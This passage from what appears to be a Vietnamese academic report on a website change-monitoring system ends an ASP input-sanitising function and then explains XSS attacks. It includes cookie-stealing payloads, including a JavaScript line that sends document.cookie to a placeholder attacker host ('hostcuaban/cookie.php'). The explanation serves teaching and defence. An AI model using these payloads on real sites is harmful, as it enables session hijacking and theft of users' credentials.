newChars = replace(newChars, badChars(i), "")
next
23


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

KillChars = newChars
End Function
%>
1.5.2. Tấn cơng XSS (Cross Site Scripting)

1.5.2.1. XSS là gì
XSS là viết tắt của Cross-Site Scripting, đây là một kĩ thuật tấn công mà kẻ
tấn công sẽ chèn vào các website động những đoạn mã có thể thực thi một câu
lênh bất hợp pháp. Các đoạn mã đó thường được viết bằng JavaScript, DHTML,
JScript và cũng có thể là cả các thẻ HTML.
Hiện nay, XSS là kỹ thuật tấn công khá phổ biến, đây cũng là một vấn đề
bảo mật đáng quan tâm của những người phát triển web cũng như của những
người sử dụng. Ngay cả đối với những trang như www.fbi.gov, www.ebay.com,
www.yahoo.com cũng từng bị lỗi XSS. Vì vậy, khi mà những trang web cho
phép người dùng đăng những thông tin đều có thể tiềm ẩn các lỗi XSS nếu
khơng có sự kiếm sốt chặt chẽ.
Cũng giống như SQL Injection hay Source Injection, về mặt cơ bản XSS
cũng là các yêu cầu được gửi từ các máy trạm tới máy chủ nhằm chèn vào các
thông tin vượt quá tầm kiểm sốt của máy chủ.
1.5.2.2. Tấn cơng XSS
+ Nhận biết website bị mắc lỗi XSS:
Thường thì XSS có thể xảy ra tại những nơi mà người dùng có thể nhập dữ
liệu vào, sau đó sẽ nhận được một kết quả gì đó. Nên thường chúng ta sẽ kiểm
tra ở những ơ đăng nhập (login form) đầu vào. Khi nhập một chuỗi kí tự nào đó
mà kết quả của server trả về có dính tới chuỗi mà bạn nhập thì rất có khả năng
trang đó bị mắc lỗi XSS .

24


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

Hình 3. Mơ hình tấn công XXS (Cross-Site Scripting)
Thông thường kẻ tấn công (attacker) sử dụng XSS để lấy các thông tin
quan trọng: cookie, user name và password. Ở đây sử dụng XSS để đánh cắp

cookie của nạn nhân (victim).
+ Cách chèn script:
Sử dụng Java script:
Code:
javascript: alert(document.cookie)
Dùng file.php:
CODE
javascript:location="http://hostcuaban/cookie.php?cookie="+(docum
ent.cookie)
Hàm location để chuyển trình duyệt đến 1 trang khác, lúc đó
document.cookie sẽ thay bằng giá trị cookie.
XSS giúp đánh cắp (steal) được cookie của nạn nhân (victim), khai thác
trên trình duyệt như sau:
CODE
/>act=<script>location=" />(document.cookie)
</script>

25


×